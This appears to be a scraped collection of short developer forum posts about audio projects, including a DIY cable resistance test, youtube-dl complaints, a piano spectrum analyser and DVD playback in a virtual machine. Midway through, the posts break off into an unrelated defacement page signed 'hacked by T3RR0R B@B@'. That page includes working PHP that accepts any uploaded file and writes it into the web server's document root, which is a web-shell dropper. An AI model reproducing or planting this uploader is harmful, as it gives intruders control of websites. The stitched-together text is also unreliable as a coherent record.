*builds a DIY 3.5mm audio wire out of metal jacks, 28 AWG electrical wire, and Ethernet wire coat as a sleeve*
*measures its resistance by doing 4 wire measurement*
(4 wire measurement explanation => https://youtu.be/L9q5vwCESEQ?t=260)
Turns out to be 800 milliohms for this wire.. well that's crappy. At such a low voltage like what the sound card puts out (30mV peak-to-peak at best) that's gonna heavily attenuate the sound, no?

*measures another audio wire that I bought a while ago with the same method*
3.2 fucking ohms, and my test at 1A significantly heated up the wire too. Turns out that this DIY contraption is 4 times better than the commercial ones out there... Sometimes you really have to dial down to what common standards you're building your own stuff against. And it's relatively easy to build too.. awesome! :)

Well, all I can say is that I'm satisfied ^^

Story about an obscure bug: https://twitter.com/mmalex/status/...

"We had a ‘fun’ one on LittleBigPlanet 1: 2 weeks to gold, a Japanese QA tester started reliably crashing the game by leaving it on over night. We could not repro. Like you, days of confirmation of identical environment, os, hardware, etc; each attempt took over 24h, plus time differences, and still no repro.

"Eventually we realised they had an eye toy plugged in, and set to record audio (that took 2 days of iterating) still no joy.

"Finally we noticed the crash was always around 4am. Why? What happened only in Japan at 4am? We begged to find out.

"Eventually the answer came: cleaners arrived. They were more thorough than our cleaners! One hour of vacuuming near the eye toy- white noise- caused the in game chat audio compression to leak a few bytes of memory (only with white noise). Long enough? Crash.

"Our final repro: radios tuned to noise, turned up, and we could reliably crash the game. Fix took 5 minutes after that. Oh, gamedev...."

*wants to download some YouTube videos in youtube-dl*

$ youtube-dl --a-bunch-of-options
> Can't download this, sorry.
*realizes that Ubuntu probably has an outdated version like usual*

# apt remove youtube-dl
*Realizes that this steaming pile of shit pulled in some icons and Wayland on a headless server*
# apt autoremove
> 300-something MB cleared
For a command-line tool...

# pip install youtube-dl
# apt install ffmpeg

$ youtube-dl --audio-format mp3 -o "%(title)s.%(ext)s" https://youtube.com/playlist/...
> Sorry mate, a video was removed from this playlist! Let me go ahead and shit the bed on this issue that's been reported several times since 6 years ago.

*finds an issue on GitHub reporting this, add -i option to continue on error*

$ youtube-dl --audio-format mp3 -o "%(title)s.%(ext)s" https://youtube.com/playlist/... -i
> There you go, your .webm files as requested!
But.. I requested .mp3 output? --audio-format mp3, don't you see?
> Oh no you need to add in another option to tell me to actually do that first. --extract-audio, you see?
But why.. why do you need to be told that twice? Oh ffs, fuck it.

Reminds me of robocopy. That shit required me to tell it 25 times what to do and it'd still not do it right as well. And you know what, compared to rsync where -avz works 99% of the time, I hate it.

Here's a silly side project I've been working on just for fun:
https://soundofco.de/

It "programmatically" creates sound from code (or plain text) on GitHub. I wouldn't call it music, because it sounds kind of horrible almost all of the time :D It's very simple: The length of a line defines the note to be played. Really just a nerdy bit of fun.

Unfortunately I have absolutely zero knowledge in music theory and I have no idea how to make the resulting sounds more pleasant or even melodic. If you're interested in making this better or helping out with feedback, you can find the project at https://github.com/dneustadt/...

Also feel free to share if you find anything on GitHub that makes for some decent sounds :D (I doubt it)

For Windows driver update, found a great (open source) tool to update or install missing drivers.

https://sdi-tool.org/

My dell laptop (Windows 10) screen used to go blank or some bubble used to appear may times a day. Used Dell driver update tool, no update, says all driver up to date.

Then used Snappy Driver Installer tool, which detected my laptop details correctly.

Then it showed that my display driver was almost a year old and there were couple of updates, latest being just last month. In addition to that, there were 30+ updates on disk drivers, networking, sensors, bluetooth, audio etc.

First updated my display driver, upon success, slowly updated the rest of it. Now, the system worked entire day without any issue. Also, my laptop fan used to run full speed seems to have slowed down.

Also, my external monitor clarity has improved.

ps: worked for me, but be careful. Check it thoroughly before updating, update only those drivers which are giving trouble and there are no updated drivers available from windows or manufacturers.

Ive just finished the Global Game Jam.
We were in a team of three people. An artist, a dev who is in school and knows programming syntax and can make basic things and me worked on a game. A fourth person who makes audio for games w did do some of the musics in our game. The following is the result of 5.5 hours of sleep in 48 hours time.

https://globalgamejam.org/2019/...

If any of you also took part in this years Global Game Jam please share your games here :D

"SO culture is so mean, they downvote good questions for no reason!"

Meanwhile, most of the downvoted questions in my list:

https://stackoverflow.com/questions...

https://stackoverflow.com/questions...

https://stackoverflow.com/questions...

https://stackoverflow.com/questions...

https://stackoverflow.com/questions...

https://stackoverflow.com/questions...

https://stackoverflow.com/questions...

https://stackoverflow.com/questions...

Translation:

- OP1: "Do my homework for me"

- OP2: "I am too lazy to google this"

- OP3: "Gimme code, here is a shitload of requirements"

- SO: "No."

- OP1/2/3/DevRant: "Oh mah gawd mah question was so gud, SO such toxic, very mean, much wow qq."

Kk.

Since I love playing music on my piano, and because I love programming, I created this:

A program which uses YIN (some kind of FFT algorithm) to create this audio spectrum. It can read from any audio source, be it microphone or the computers audio output. There are 3 lines in the graph at the bottom:
Both magenta lines, both are movable, allow you to just select a part of the audio spectrum to show, which is very useful if you just want to get the chords out of a song, or just the notes.
The cyan line can also be moved, it tells the program the lower limit to calculate the actual notes/chords from the frequency bars (which are calculated by the FFT algorithm).
In the top right of the spectrum is, in magenta color, one single note. It shows the currently loudest frequency as a note.
In the top right corner is a simple image of a one-octave piano. Every note over the cyan line will be shown on this piano. This is very useful for chords.

Since compression will fuck this image up, here is a link: https://i.gyazo.com/fbbee76faecbac3...

What do you think about it? I fucking love it.

So I think I saw a post on here about dvds in virtual machines. Got me thinking, and here's my results trying to play a dvd using linux running inside a vm.

Setup:
Windows 10 Professional
Hyper-V VM running Debian 4.19
Xming website release for video (also works with the free version)
PulseAudio for windows to play sound

So, pretty straightforward, right? Insert DVD, tell Hyper-V to map the dvd drive to the virtual one and run `vlc dvd:///dev/sr0'
But of course, DVDs have copy protection (read: playback protection), so I downloaded the dvdcss package file from videolan's ftp server and installed it. This still didn't work though, vlc said it couldn't decode the dvd. Then, to make sure my dvd was okay I played it with vlc in windows, which worked fine. When I tried again inside the vm it suddenly "worked". Maybe running it inside of a vm prevents some access to the dvd drive required for decoding? Go figure.

The video was very corrupted though, and vlc puked out a lot of errors.

So in conclusion, playing a dvd in a vm is weird, unwatchable, inefficient and only works if you can also play it on the host.

And yes the audio is just as choppy as the video, no idea what causes this. I can play normal videos fine (for some reason that doesn't really work with the free version of xming) although it uses about 200% cpu since there's no hardware acceleration, and the framerate isn't necessarily what it is supposed to be.

Some weeks back I mentioned (in a comment) my small program capable of editing the tags in audio files based on the filename.
Today, I had some spear time and implemented it in Go (the original version was Ruby).

For people that are interested, here is a link to the repo: https://github.com/SirWindfield/...

Any help/feedback is appreciated!
I promised someone to mention him if I get to publish it. But I forgot his user name :(

Good evening programmers, IT's, devranters and memeians.

I would like to use a little bit of your collective conciousness - the hive mind if you will.

I've been working on my automation system for quite a while and I've received some exposure from non-programmers - which resulted in more questions than suggestions.

I would like to ask you guys to give me some suggestions as to what I could add to my system.. that is, if you have time..

The program in short (if you don't want to read the readme file) is an automation system scriptable in pure Lua.
It utilizes Selenium for web automations, NAudio for audio operations and Moonsharp as an interpreter.

While my tester friends say that they use it for the actual testing, I myself found it very useful in writting bots (for browser games for example).

Here's the github link: https://bit.ly/2GDu92g

Thanks a ton!

PS. Here's an unrelated image to draw your attention.

http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}

.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>

<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://&quot;.$_SERVER[&#039;HTTP_HOST&#039;].&quot;/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>

<!DOCTYPE html>
<html>
<title>K.I.T.A</title>

<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>

<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;

this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">

<embed src="https://youtube.com/v/tec_KllmOH4/...

<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>

Damn happy to see this much traffic in my repo...
Title: Audio book generator
GitHub link:
https://github.com/globefire/...

Demonstration:
https://youtu.be/xhMvGg1dAsg

Star if you like it.. :)

https://nitwhiz.xyz/projects/...

(Not mobile friendly)

Did this back in the days when this whole audio api thing was new.

It's a sampler, with space you can record in any of the tracks (the letters) and with your numpad you play the sounds.
You can distord the sound with hi/low filters by using your mouse on the right side.
Also there are different kits for the keys.
And it's able to record your work.

I aimed on creating something a bit like the kaoss pad.